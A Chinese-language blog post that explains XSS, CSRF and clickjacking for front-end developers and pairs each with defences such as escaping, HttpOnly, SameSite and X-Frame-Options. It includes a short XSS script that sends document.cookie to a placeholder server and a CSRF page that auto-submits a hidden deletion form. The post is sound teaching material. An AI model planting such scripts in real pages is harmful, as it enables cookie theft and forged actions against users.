常见的web前端攻击方式

一、什么是web攻击,常用的攻击方式有哪些?

  web攻击:针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限或者获取用户隐私信息等等

  我们常见的攻击方式有:

      • XSS 跨站请求攻击
      • CSRF 跨站请求伪造
      • 点击劫持
      • SQL注入(很早以前前后端不分离时的攻击方式)  

二、XSS 跨站脚本攻击

  攻击实现步骤:

    1、我发表一篇博客,其中嵌入<script>脚本

    2、脚本内容:获取cookie、用户敏感信息等,发送到我自己的服务器

    3、发布博客后,有人查看,就可以轻松收割访问者的cookie等信息

  代码模拟

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>xss演示</title>
    </head>
    <body>
       
        <p id="p1">一段文字1</p>
        <p>一段文字2</p>
        <p>一段文字3</p>
    
        <!--这里可以把敏感信息发送到自己的服务器-->
        <script>
       var img = document.createElement('img')
img.src ="http://xxx.com/api/xxx?userInfo=" + document.cookie //将cookie提交到自己的服务器
</script> </body> </html>

  预防XSS攻击方式:

    • 方式一:对内容进行转码,将< 变为 &lt; >变为&gt; 。即将<script> 变为 &lt;script&gt; 。前后端最好都要做替换。代码如下: 
      const newStr = str.replaceAll('<','&lt;').replaceAll('>','&gt;')

      此时就不会当脚本执行,而是直接在界面上显示

    • 方式二:将cookie设置为HttpOnly 标志。HttpOnly 是服务器通过响应头来设置的,eg:HTTP响应头中的一段:
      set-cookie:name=xxx;expires=Sat,18-Apr-2020 02:23:24 GMT;path=/;domain=.google.com;HttpOnly
      这样cookie只能使用在http请求中,而无法通过JS获取cookie(即document.cookie 无法获取到cookie)
    • 现代框架默认会屏蔽XSS攻击,除非自己手动打开,如:Vue 中使用v-html,此时可能会被攻击

三、CSRF(或者XSRF) 跨站请求伪造攻击

  什么是跨域请求伪造:

    • 通常缩写为CSRF或者XSRF
    • 诱导用户在当前已登录的网站进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求(利用连接、form表单提交、image 等等)
    • 由于cookie是跟着站点的,请求时默认会带该站点下的cookie 
    • 因此,就衍生出cookie的CSRFCSRF攻击,也就是跨站伪造请 求     

  攻击实现步骤:

    • 用户登录过A网站 aa.com/login
    • 在A网站诱导你点击B网站:bb.com
    • B网站中有一个跳转链接,点击后,直接让你的给A网站发送请求
      <!DOCTYPE html>
      <html>
      <head>
          <meta charset="utf-8">
          <title>黑客 B 页面</title>
      </head>
      <body>
          <!---方法一:适用连接,即在bb.com 域名下 发送 一条请求到 aa.com-->
          <a href="http://a.com/dosomethid">点我发大财</a>

      <!--方法二:使用form表单发送请求-->
         <form action="http://a.com/deleteSomething" method="post">
            <input type="hidden" name="data" value=''/>
         </form>
      </body> 
      <script>
      // 提交了表单
      document.forms[0].submit()
      </script>
      </html>
    • 而此时浏览器中已经保存里A网站的cookie信息。这样,CSRF攻击就生效了     

  预防CSRF攻击方式:

    • 1. 尽量使用post 接口
    • 2. 增加验证(比如token、验证码等等)
    • 为 cookie 设置 SameSite 属性设置Strict或 Lax,
      • SameSite=Strict 表示跨站点时,任何情况都不会发送cookie.只有当前页面的URL 与请求目标一致,才会带上cookie
        Set-Cookie: CookieName=CookieValue; SameSite=Strict;

 

      • SameSite=Lax规则稍稍放宽,大多数情况不发送第三方cookie,但是导航到目标网站的Get请求除外(a标签连接、GET 表单、预加载请求 这三种情款仍会发送第三方cookie)  

四、点击劫持

   什么是点击劫持:

      • 是一种通过透明或者半透明的覆盖层,欺骗用户点击的攻击方式          

    实现步骤:

      • 黑客在自己的网站,使用隐藏的<iframe>嵌套其它网站页面
      • 诱导用户点击操作,实际上点击的是要攻击网站的操作       

     预防措施:

      • 增加http header X-Frame-Options:SAMEORIGIN,禁止其他网站嵌入本网站页面
      • 让<ifram>只能加载同域名的网页          

 

        

 

posted @ 2024-12-18 18:08  yangkangkang  阅读(83)  评论(0)    收藏  举报